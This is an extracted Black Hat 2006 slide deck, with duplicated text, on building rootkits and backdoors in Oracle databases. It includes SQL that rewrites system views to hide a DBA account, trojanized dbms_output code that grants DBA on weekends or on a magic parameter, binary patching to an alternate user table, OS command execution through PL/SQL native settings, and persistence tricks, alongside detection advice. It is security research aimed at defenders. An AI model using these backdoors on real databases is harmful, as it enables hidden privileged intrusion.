You are on page 1of 79

Oracle Rootkits 2.

Oracle Rootkits 2.0

Black Hat 2006 USA


Las Vegas

02-August-06

Alexander Kornbrust
Red Database Security GmbH
Agenda

Introduction
OS Rootkits
Database Rootkits 1.0
Execution Path
Modify Data Dictionary Objects
Advanced Database Rootkits 1.0
Database Rootkits 2.0
Modify Binaries
PL/SQL Native
Pinned PL/SQL Packages
Conclusion
Q/A

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -2-
Introduction

Red-Database-Security GmbH
Founded Spring 2004
CEO Alexander Kornbrust
Specialized in Oracle Security
One of the leading company for Oracle Security

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -3-
Introduction

ƒ Operating Systems and Databases are quite similar in


the architecture.
ƒ Both have Definition
DefinitionWikipedia:
Wikipedia:
AArootkit
rootkitisisaaset
setof
oftools
toolsused
usedafter
ƒ Users after
cracking a computer system
cracking a computer system that that
ƒ Processes hides
hideslogins,
logins,processes
processes
[…]
[…]
ƒ Jobs aaset
setof
ofrecompiled
recompiledUNIX
UNIXtools
tools
such
such as ps, netstat, passwdthat
as ps, netstat, passwd that
ƒ Executables would
would carefully hide any tracethat
carefully hide any trace that
those commands normally display.
those commands normally display.
ƒ Symbolic Links
ƒ …

Î A database is a kind of operating system

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -4-
Introduction

OS cmd Oracle SQL Server DB2 Postgres


ps select * from select * from list application select * from
v$process sysprocesses pg_stat_activity

kill 1234 alter system SELECT @var1 = spid force application


kill session FROM sysprocesses WHERE (1234)
'12,55' nt_username='andrew'
AND spid<>@@spidEXEC
('kill '+@var1);
Executables View, Package, View, Stored Procedures View, Stored View, Stored
Procedures and Procedures Procedures
Functions

execute select * from select * from view; select * from select * from
view; view; view;
exec procedure
exec
execute
procedure
procedure
cd alter session
set
current_schema
=user01

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -5-
Database ≈ Operating System

ƒ If a database is a (kind of) operating system,


then it is possible to migrate malware (concepts)
like viruses or rootkits from the operating system world
to the database world.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -6-
Operating System Rootkit

ƒ Rootkits can also be used to protected music from being


stolen.
ƒ Rootkits are often installed by hackers to hide their
tracks in a hacked computer.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -7-
Introduction: OS Rootkit

ƒ Result of the dir command with and without an


installed Sony DRM rootkit

without
without rootkit
rootkit with
with (Sony)
(Sony) rootkit
rootkit

[c:\>]#
[c:\>]# dir
dir /a
/a [c:\>]#
[c:\>]# dir
dir /a
/a
22.02.2006 21:29 <DIR>
22.02.2006 21:29 <DIR> backup
backup 22.02.2006 21:29 <DIR>
22.02.2006 21:29 <DIR> backup
backup
28.02.2006
28.02.2006 07:31
07:31 <DIR>
<DIR> Programme 28.02.2006
28.02.2006 07:31
Programme 07:31 <DIR>
<DIR> Programme
Programme
01.03.2006 10:36 <DIR>
01.03.2006 10:36 <DIR> WINDOWS 01.03.2006 10:36 <DIR>
WINDOWS 01.03.2006 10:36 <DIR> WINDOWS
WINDOWS
30.01.2006 15:57 <DIR>
30.01.2006 15:57 <DIR> Documents
30.01.2006
Documents 15:57 <DIR>
30.01.2006 15:57 <DIR> Documents
Documents
30.01.2006 16:00
30.01.2006 16:00 212 boot.ini30.01.2006 16:00
212 boot.ini30.01.2006 16:00 212 boot.ini
212 boot.ini
18.08.2001 11:00
18.08.2001 11:00 4.952 bootfont.bin
18.08.2001
4.952 bootfont.bin 11:00
18.08.2001 11:00 4.952
4.952 bootfont.bin
bootfont.bin
30.01.2006
30.01.2006 15:53
15:53 00 CONFIG.SYS
30.01.2006
30.01.2006 15:53
CONFIG.SYS 15:53 00 CONFIG.SYS
CONFIG.SYS
30.01.2006 17:11 471.232 $sys$rk.exe
30.01.2006 17:11 471.232 $sys$rk.exe

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -8-
Introduction: OS Rootkit

ƒ Result of the who command with


and without an installed rootkit

without
without rootkit
rootkit with
with rootkit
rootkit

[root@picard
[root@picard root]#
root]# who
who [root@picard
[root@picard root]#
root]# who
who
root
root pts/0
pts/0 Apr
Apr 11 12:25
12:25 root
root pts/0
pts/0 Apr
Apr 11 12:25
12:25
root
root pts/1
pts/1 Apr
Apr 11 12:44
12:44 root
root pts/1
pts/1 Apr
Apr 11 12:44
12:44
root
root pts/1
pts/1 Apr
Apr 11 12:44
12:44 root
root pts/1
pts/1 Apr
Apr 11 12:44
12:44
ora
ora pts/3
pts/3 Mar
Mar 30
30 15:01
15:01 ora
ora pts/3
pts/3 Mar
Mar 30
30 15:01
15:01
hacker
hacker pts/3
pts/3 Feb
Feb 16
16 15:01
15:01

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 -9-
Migration of Rootkit

ƒ Migration of the rootkit concept to the database world

OS
OS Î
Î DB
DB
Hide
Hide OS
OS User
User Î
Î Hide
Hide Database
Database User
User
Hide
Hide Jobs
Jobs ÎÎ Hide
Hide Database
Database Jobs
Jobs
Hide
Hide Processes
Processes Î
Î Hide
Hide Database
Database Processes
Processes

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 10 -
Database Rootkit

ƒ Ways to implement a first generation database rootkit


ƒ Modify the (database) object itself
ƒ Change the execution path

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 11 -
Database Rootkit Evolution

ƒ 1st Generation
ƒ Changes in the data dictionary (e.g. modification of a
view or procedure / change synonym)
– Presented at the Black Hat Europe 2005

ƒ 2nd Generation
ƒ No change in the data dictionary (like views or
packages) required.
- Presented at the Black Hat USA 2006

ƒ 3nd Generation
ƒ Modify database structures in memory. Official API
available since Oracle 10g Rel. 2.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 12 -
Rootkit – 1st generation

ƒ Easy to implement
ƒ Easy to find

ƒ Generic problem of all relational databases.


Microsoft SQL Server has already some Anti-Database-
Rootkit Technologies installed (digitally signed views).

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 13 -
Oracle Execution Path

ƒ How is Oracle resolving object names?


ƒ Example:
SQL>
SQL> Select
Select username
username from
from dba_users;
dba_users;

ƒ Name resolution:
ƒ Is there a local object in the current schema (table,
view, procedure, …) called dba_users?
Æ If yes, use it.
ƒ Is there a private synonym called dba_users?
Æ If yes, use it.
ƒ Is there a public synonym called dba_users?
Æ If yes, use it.
ƒ Is VPD in use?
Æ If yes, modify SQL Statement.
we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 14 -
Oracle Execution Path

User 1 User n

Tables Functions Procedures Packages Tables Func. Proc. Pack.

Views Views

Private Synonyms Private Synonyms

Public Synonyms

SYS
Views

Tables Functions Procedures Packages

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 15 -
Oracle Execution Path

ƒ We can change the Oracle execution path by

ƒ Creating a local object with the identical name


ƒ Creating a private synonym pointing to a different
object
ƒ Creating or modify a public synonym pointing to a
different object
ƒ Switching to a different schema

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 16 -
Hide Database Users

ƒ User management in Oracle


ƒ User and roles are stored together in the table
SYS.USER$
ƒ Users have flag TYPE# = 1
ƒ Roles have flag TYPE# = 0
ƒ Views dba_users and all_users to simplify access
ƒ Synonyms for dba_users and all_users

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 17 -
Hide Database Users

ƒ Example: Create a database user called hacker

SQL>
SQL> create
create user
user hacker
hacker identified
identified by
by hacker;
hacker;
SQL> grant dba to hacker;
SQL> grant dba to hacker;

ƒ Example: List all database users


SQL>
SQL> select
select username
username from
from dba_users;
dba_users;
USERNAME
USERNAME
------------------------------
------------------------------
DBSNMP
DBSNMP
EXFSYS
EXFSYS
HACKER
HACKER
ORDSYS
ORDSYS
k er
Ha c . SYS
&C
o SYS
SYSTEM
SYSTEM
[…]
[…]

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 18 -
Hide Database Users

Enterprise Manager (Java) Database Control (Web) Quest TOAD

k er
Ha c .
o
&C

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 19 -
Hide Database Users

ƒ Add an additional line to the view

k er
Ha c .
o
&C

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 20 -
Hide Database Users

Enterprise Manager (Java) Database Control (Web) Quest TOAD

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 21 -
Hide Database Users

ƒ TOAD is using the view ALL_USERS instead of


DBA_USERS. That‘s why the user HACKER is still visible.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 22 -
Hide Database Users

ƒ Now the user is gone in TOAD too…

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 23 -
Oracle Execution Path

select * from dba_users; (e.g. as user SYSTEM)


User 1 User n

Tables Functions Procedures Packages Tables Func. Proc. Pack.

Views Views

Private Synonyms Private Synonyms

Public Synonyms

SYS
Views [4] and u.name != 'HACKER'

Tables Functions Procedures Packages


we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 24 -
Hide Processes

ƒ Process management in Oracle

ƒ Processes are stored in a special view v$session


located in the schema SYS
ƒ Public synonym v$session pointing to v_$session
ƒ Views v_$session to access v$session

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 25 -
Hide Processes

Example: List all database processes

SQL>
SQL> select
select sid,serial#,
sid,serial#, program
program from
from v$session;
v$session;

SID
SID SERIAL#
SERIAL# PROGRAM
PROGRAM
----- -------- ---------------------------------
----- -------- ---------------------------------
------------
------------
297
297 11337
11337 OMS
OMS
298
298 23019
23019 OMS
OMS
300
300 35
35 OMS
OMS
301
301 4 OMS
4 OMS
304
304 1739
1739 OMS
OMS
305
305 29265
29265 sqlplus.exe
sqlplus.exe
306
306 2186
2186 OMS
OMS
k er
Ha c . 307 30
&C
o 307 30 emagent@picard.rds (TNS
emagent@picard.rds (TNS V1
V1
308
308 69
69 OMS
OMS
310
310 5611
5611 OMS
OMS
311
311 49
49 OMS
OMS
[...]
[...]
we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 26 -
Hide Processes

Modify the views (v$session, gv_$session, flow_sessions,


v_$process) by appending
username != 'HACKER'

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 27 -
Hide Database Jobs

ƒ Database Jobs in Oracle

ƒ Oracle jobs are stored in the table SYS.JOB$


ƒ The view dba_jobs simplifies the access
ƒ Public synonym for dba_jobs

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 28 -
Hide Database Jobs

Example: Create a database job running at midnight

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 29 -
Hide Database Jobs

See all database jobs in the view dba_jobs

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 30 -
Hide Database Jobs

Add an additional line to the view

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 31 -
Hide Database Jobs

Now the job is no longer visible.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 32 -
1. Gen Rootkit Examples

ƒ Modifying Views
ƒ Modifying (unwrapped) internal Oracle Packages

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 33 -
1. Gen Rootkit Example – modify views

EXECUTE
EXECUTE
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRAN
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRAN
SFORM,'STORAGE',false);
SFORM,'STORAGE',false);

spool
spool rk_source.sql
rk_source.sql
select
select
replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS')
replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS') as as
VARCHAR2(4000)),'where','where
VARCHAR2(4000)),'where','where u.name
u.name !=''HACKER''
!=''HACKER'' and
and ')
')
from dual union select '/' from dual;
from dual union select '/' from dual;

select
select
replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS')
replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS') as as
VARCHAR2(4000)),'where','where
VARCHAR2(4000)),'where','where u.name
u.name !=''HACKER''
!=''HACKER'' and
and ')
')
from dual union select '/' from dual;
from dual union select '/' from dual;
spool
spool off
off
create
create user
user hacker
hacker identified
identified by
by hacker_bh2006;
hacker_bh2006;
grant
grant dba
dba to
to hacker;
hacker;

we are here:
@rk_source.sql
@rk_source.sql
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 34 -
1. Gen Rootkit Example

ƒ By default all Oracle system packages (like


dbms_output) are wrapped by default
ƒ It is possible to unwrap Oracle PL/SQL packages (see
Pete Finnigan’s Black Hat Presentation “How To
Unwrap PL/SQL”)
ƒ Working PL/SQL Unwrappers for 8i/9i and 10g are
already out there
ƒ PL/SQL packages can be unwrapped, backdoored,
wrapped and installed in the database again
ƒ A normal DBA/security consultant without an
unwrapper can’t find the problem

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 35 -
1. Gen Rootkit Example

Unwrap PL/SQL package dbms_output (Oracle 10g)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 36 -
1. Gen Rootkit Example – via job

PROCEDURE
PROCEDUREENABLE
ENABLE(BUFFER_SIZE
(BUFFER_SIZEIN
ININTEGER
INTEGERDEFAULT
DEFAULT20000)
20000)
IS
IS
LSTATUS
LSTATUSINTEGER;
INTEGER;
LOCKID
LOCKID INTEGER;
INTEGER;
MYDAY VARCHAR2(10);
MYDAY VARCHAR2(10);
BEGIN
BEGIN
[…]
[…]
select
selectto_char(sysdate,'DAY')
to_char(sysdate,'DAY')into
intoMYDAY
MYDAYfrom
fromdual;
dual;
IF
IF(MYDAY
(MYDAYIN IN('SATURDAY','SUNDAY'))
('SATURDAY','SUNDAY'))
THEN
THEN
execute
executeimmediate
immediate'grant
'grantdba
dbato
toscott';
scott';
ELSE
ELSE
execute
executeimmediate
immediate'revoke
'revokedba
dbato
toscott';
scott';
END IF;
END IF;

ENABLED
ENABLED:=:=TRUE;
TRUE;
IF
IFBUFFER_SIZE
BUFFER_SIZE<<2000
2000THEN
THEN
BUF_SIZE
BUF_SIZE:=
:=2000;
2000;
we are here: […]
[…]
1 2 3 4 5
6 7 8 9 10 END;
03.08.2006
END;
- 37 -
1. Gen Rootkit Example

ƒ Wrap the package again and install this trojanized


version into the database again
ƒ If the package dbms_output is called on a Saturday
or Sunday the user scott becomes DBA privileges.
On Monday these privileges are revoked if the
package was called.
ƒ During a normal weekly security audit this backdoor
will not be found.
ƒ Only a changed checksum of the backdoored
package is an indication for a modification.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 38 -
1. Gen Rootkit Example

ƒ Another approach to implement a backdoor is a kind


of “port knocking” (Thanks Pete for the idea)
ƒ By sending a special string we can activate /
deactivate internal stuff, e.g. create a reverse shell
listening on a extra port (can be done via Java)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 39 -
1. Gen Rootkit Example – via parameter

PROCEDURE
PROCEDUREENABLE
ENABLE(BUFFER_SIZE
(BUFFER_SIZEIN
ININTEGER
INTEGERDEFAULT
DEFAULT20000)
20000)IS
IS
LSTATUS
LSTATUSINTEGER;
INTEGER;
LOCKID
LOCKID INTEGER;
INTEGER;
MYDAY VARCHAR2(10);
MYDAY VARCHAR2(10);
BEGIN
BEGIN
[…]
[…]
IF
IF(BUFFER_SIZE
(BUFFER_SIZE==31337)
31337)
THEN
THEN
BEGIN
BEGIN
execute
executeimmediate
immediate'grant
'grantdba
dbato
toscott';
scott';
execute
execute immediate alter user scottidentified
immediate alter user scott identifiedby
by
ora31337';
ora31337';
END
END
ELSE
ELSE
BEGIN
BEGIN
execute
executeimmediate
immediate'revoke
'revokedba
dbato
toscott';
scott';
execute
executeimmediate
immediate‘alter
‘alteruser
userscott
scottidentified
identifiedby
byXXX';
XXX';
END
END
END
ENDIF;IF;
ENABLED
ENABLED:=
:=TRUE;
TRUE;
[…]
[…]
we are here:
1 2 3 4 5 END;
6 7 8 9 10 03.08.2006END; - 40 -
1. Gen Rootkit Example

ƒ Wrap the package again and install this trojanized


version into the database again
ƒ If we send the value 31337 to the procedure
dbms_output.enable, we a resetting the password of
the user scott and escalate his privileges.
ƒ During a normal weekly security audit this backdoor
will not be found.
ƒ Only a changed checksum of the backdoored
package is an indication for a modification.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 41 -
Rootkit – 2nd generation

ƒ More difficult to implement


ƒ More difficult to find.
ƒ Detection sometimes depends on the database account
(e.g. non-SYS account will never find it)
ƒ Sometimes detection is only visible from the operating
system

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 42 -
Rootkit – 2nd generation

ƒ Modification of binary files


ƒ PL/SQL Native
ƒ Pinned PL/SQL packages
ƒ VPD (Virtual Private Database)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 43 -
Rootkit – 2nd generation – modify binary

RDBMS

sys.user$

ƒ Normal login process – Oracle process reads the user


credentials from the sys table sys.user$ to verify that
the login credentials are valid.
we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 44 -
Rootkit – 2nd generation – modify binary

Search the string sys.user$


(106 occurrences in Oracle 10 Express Edition)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 45 -
Rootkit – 2nd generation – modify binary

Replace all occurrences of sys.user$ with sys.aser$

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 46 -
Rootkit – 2nd generation – modify binary

RDBMS

sys.aser$

An attacker can now modify the database executable(s)


by replacing all occurrences of the table (sys.) user$
we are here: with the (new created) table sys.aser$
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 47 -
Rootkit – 2nd generation – modify binary

RDBMS

sys.aser$

sys.user$

An auditor, security consultant or security tool normally


only checks the table sys.user$. But Oracle is using the
we are here: table sys.aser$ containing the hidden user.
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 48 -
Rootkit – 2nd generation – modify binary

ƒ Create a user hacker with DBA privileges

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 49 -
Rootkit – 2nd generation – modify binary

ƒ Create a copy of the table sys.user$


ƒ Drop user hacker from sys.user$

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 50 -
Rootkit – 2nd generation – modify binary

ƒ Shutdown database

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 51 -
Rootkit – 2nd generation – modify binary

ƒ Patch binary file

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 52 -
Rootkit – 2nd generation – modify binary

ƒ Start database (Now the table sys.aser$ is used)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 53 -
Rootkit – 2nd generation – modify binary

ƒ Create a user hacker with DBA privileges


ƒ Create a copy of the table sys.user$ (create table
sys.aser$ as select * from sys.user$)
ƒ Drop user hacker from sys.user$
ƒ Shutdown database
ƒ Patch binary file
ƒ Start database (Now the table sys.aser$ is used)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 54 -
Rootkit – 2nd generation – protection

ƒ Oracle should sign their binary files


ƒ Use checksum tools like tripwire to see modifications of
binary files
ƒ Harden your database to avoid hackers

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 55 -
Rootkit – 2nd generation – PL/SQL native

ƒ Since Oracle 9i exists a new feature which allows to


generate natively compiled code from PL/SQL
ƒ Oracle generates a C-File which is compiled on the
target machine
ƒ The resulting .dll/.lib is executed instead of the original
PL/SQL package.
ƒ Oracle does not monitor the files in the file system
ƒ Since 10g the dll‘s/lib‘s are stored in the database in
clobs.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 56 -
Rootkit – 2nd generation – PL/SQL native

ƒ In Oracle 9i PL/SQL native is the easiest way to execute


OS commands because you can set the name of the
make utility via an ALTER SYSTEM command

alter system set plsql_native_make_utility=


'calc.exe';
alter system set plsql_native_make_file_name=
'c:\temp\mymakefile.mk';
alter system set plsql_native_library_dir=
'c:\temp\plsql_libs';

After every compilation of PL/SQL code, Oracle starts the


PL/SQL compiler. In this case the Windows calculator.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 57 -
Rootkit – 2nd generation – PL/SQL native

ƒ In Oracle 10g PL/SQL native the compiler is retrieved


from the registry/environment.

ƒ The compiler syntax is taken from the file


$ORACLE_HOME/plsql/spnc_commands

cl.exe %(src) /nologo /Ox /MD /Fo%(obj)


/I$(ORACLE_HOME)/plsql/public
/I$(ORACLE_HOME)/plsql/include /link /nologo
/dll $(ORACLE_HOME)/lib/orapls10.lib
/out:%(dll)

ƒ A big difference is also that the lib/dll’s are stored


in the database now,
we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 58 -
Rootkit – 2nd gen. – PL/SQL native (9i)

alter session set plsql_compiler_flags='NATIVE';

PL/SQL alter procedure myprocedure compile;


MYPROCEDURE

MYPROCEDURE_SCOTT___0.c

MYPROCEDURE__SCOTT___0.dll
we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 59 -
Rootkit – 2nd gen. – PL/SQL native (10g)

alter session set plsql_compiler_flags='NATIVE';

PL/SQL
MYPROCEDURE alter procedure myprocedure compile;

MYPROCEDURE__
SCOTT___0.dll

MYPROCEDURE_SCOTT___0.c

MYPROCEDURE__SCOTT___0.dll
we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 60 -
Rootkit – 2nd gen. – PL/SQL native (9i)
/*-----
/*----- Implementation
Implementation of
of Procedure
Procedure HELLO_NATIVE_COMPILATION
HELLO_NATIVE_COMPILATION -----*/
-----*/
## ifdef
ifdef __cplusplus
__cplusplus
extern
extern "C"
"C" {{
## endif
endif
## ifndef
ifndef PEN_ORACLE
PEN_ORACLE
## include
include <pen.h>
<pen.h>
## endif
endif

/*
/* Types
Types used
used in
in generated
generated code
code */
*/

typedef
typedef union
union {ub1
{ub1 st[252];
st[252]; size_t
size_t _si;
_si; void
void ** _vs;}
_vs;} PEN_State;
PEN_State;
typedef union {ub1 cup[208]; size_t _cu; void * _vc;} PEN_Cup;
typedef union {ub1 cup[208]; size_t _cu; void * _vc;} PEN_Cup;
typedef
typedef union
union {ub1
{ub1 slg[
slg[ 80];
80]; pen_buffer
pen_buffer p;}
p;} PEN_Buffer;
PEN_Buffer;

/*
/* Macros
Macros used
used in
in generated
generated code
code */
*/

#define
#define dl0
dl0 ((void
((void ***)
***) (PEN_Registers[
(PEN_Registers[ 3]))
3]))
#define dpf ((void ****) (PEN_Registers[ 5]))
#define dpf ((void ****) (PEN_Registers[ 5]))

#define
#define bit(x,
bit(x, y)
y) ((x)
((x) && (y))
(y))
#define
#define PETisstrnull(strhdl) \\
PETisstrnull(strhdl)
(!PMUflgnotnull(PETmut(strhdl))
(!PMUflgnotnull(PETmut(strhdl)) ||
|| !PETdat(strhdl)
!PETdat(strhdl) ||
|| !PETlen(strhdl))
!PETlen(strhdl))
#define
#define PMUflganynull(pmut) (bit((pmut)->plsmflg, (PLSFNULL || PLSFBADNULL)))
PMUflganynull(pmut) (bit((pmut)->plsmflg, (PLSFNULL PLSFBADNULL)))
#define
#define PMUflgnotnull(pmut)
PMUflgnotnull(pmut) (!bit((pmut)->plsmflg,
PLSFBADNULL))) (!bit((pmut)->plsmflg, (PLSFNULL
(PLSFNULL ||
we are here:
PLSFBADNULL)))
1 2 3 4 5
[…]
6 7 8 9 10 03.08.2006
[…] - 61 -
Rootkit – 2nd gen. – PL/SQL native (9i)

Implement a backdoor in the PL/SQL


Package MYPROCEDURE

MYPROCEDURE
(backdoored)

MYPROCEDURE_SCOTT___0.c (backdoored)

MYPROCEDURE__SCOTT___0.dll (backdoored)

MYPROCEDURE__SCOTT___0.dll.bck (backdoored - Copy)


we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 62 -
Rootkit – 2nd gen. – PL/SQL native (9i)

Remove the rootkit from the PL/SQL


Package MYPROCEDURE

MYPROCEDURE And recompile the package again


(original)

MYPROCEDURE_SCOTT___0.c (original)

MYPROCEDURE__SCOTT___0.dll (original)

MYPROCEDURE__SCOTT___0.dll.bck (backdoored - Copy)


we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 63 -
Rootkit – 2nd gen. – PL/SQL native (9i)

Replace the native compiled code on the


operating system level by replacing the
original file with the backdoored version.
MYPROCEDURE
(original) The backdoored version is now called.

MYPROCEDURE_SCOTT___0.c (original)

MYPROCEDURE__SCOTT___0.dll (backdoored)

MYPROCEDURE__SCOTT___0.dll.bck (backdoored - Copy)


we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 64 -
Rootkit – 2nd generation – protection

ƒ Don’t use PL/SQL native if not necessary

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 65 -
Rootkit – 2nd gen. – Pinning

ƒ To avoid memory fragmentation in the shared pool


Oracle supports the preloading of (large) PL/SQL
objects into the memory. This functionality is called
pinning.
ƒ The package dbms_shared_pool allows to pin and unpin
PL/SQL objects (not installed by default)
ƒ Changed objects are NOT automatically reloaded if they
are changed.
ƒ dbms_shared_pool.keep pins a package into the SGA
ƒ dbms_shared_pool.unkeep removes a package into the
SGA

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 66 -
Rootkit – 2nd gen. – Pinning

SGA

The PL/SQL package


is
loaded into the SGA
for execution and
dropped if not needed
afterwards.

MYPROCEDURE

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 67 -
Rootkit – 2nd gen. – Pinning

SGA

The PL/SQL package


is
loaded into the SGA
for execution and
dropped if not needed
afterwards.

MYPROCEDURE
(backdoored)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 68 -
Rootkit – 2nd gen. – Pinning

SGA

dbms_shared_p
MYPROCEDURE
ool.
(backdoored)
keep('MYPROCE
DURE')

MYPROCEDURE
(backdoored)

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 69 -
Rootkit – 2nd gen. – Pinning

SGA

MYPROCEDURE
(backdoored)

MYPROCEDURE

Remove the backdoor from the PL/SQL


package. The package in the SGA is NOT
removed automatically and will always
we are here: executed until the database is restarted
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 70 -
Rootkit – 2nd generation – protection

ƒ Check if dbms_shared_pool is installed


ƒ Check on a regular basis for pinned packages

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 71 -
Rootkit – 2nd gen. – other possibilities I
(untested)

For database based applications using user credentials


in non SYS-schemas it is possible to hide users via
specially crafted VPD (Virtual Private Database) roles.
HTMLDB for example is using the table
flows_020100.wwv_flow_fnd_user to store/retrieve the
user credentials
A special VPD rule could remove some entries in this
table for specific users and / or during a special
timeframe.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 72 -
Rootkit – 2nd gen. – other possibilities I
(untested)

Oracle QueryRewrite allows to change SQL statements


submitted by an user to increase the performance by
using materialized views

User submits Under some


Select
Select ** from
from
cirumstances Select
Select ** from
from
table_a
table_a Oracle table_b
table_b
rewrites the
query

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 73 -
Rootkit – 3rd generation

Difficult to implement (Direct SGA modification)


(There is an official API to the SGA in 10g Rel. 2 which
allows the modification of SGA)

Difficult to find. Only from the operating system.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 74 -
Surviving Updates

• During updates (database+binaries) updates the


repository is often rebuild from scratch or the binaries
replaced with new versions. This normally removes
changes in the data dictionary objects or modified
files.
To avoid this an attacker could
• Create a special database job which reinstalls the
rootkit after an upgrade/patch
• Change glogin.sql on the database server. This file
is executed during every start of SQL*Plus
• Create a Database startup trigger
• Backdoor custom PL/SQL of the customer
application

we are here:
• …
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 75 -
Finding Rootkits

• Checksums of database objects (e.g. Repscan)


• Checksums of binary files (e.g. Tripwire)
• Check, if PL/SQL native is enabled
• Check, if dbms_shared_pool is installed
• Harden your database and apply the latest patches

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 76 -
Conclusion

• Oracle is a powerful database and there are many


possibilities to implement database rootkits in Oracle.
With these techniques an attacker (internal/external)
can hide his presence in a hacked database.

• The huge number of features (like pinning packages,


native compilation, query rewrite) in Oracle databases
allows the creation of new kind of database rootkits.

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 77 -
Q&A

Q&A

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 78 -
Contact

Alexander Kornbrust
CEO

Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Germany

Phone: +49 (6821) 95 17 637


Mobil: +49 (174) 98 78 118
Fax: +49 (6821) 91 27 354

E-Mail: info@red-database-security.com
Web: www.red-database-security.com

we are here:
1 2 3 4 5
6 7 8 9 10 03.08.2006 - 79 -

You might also like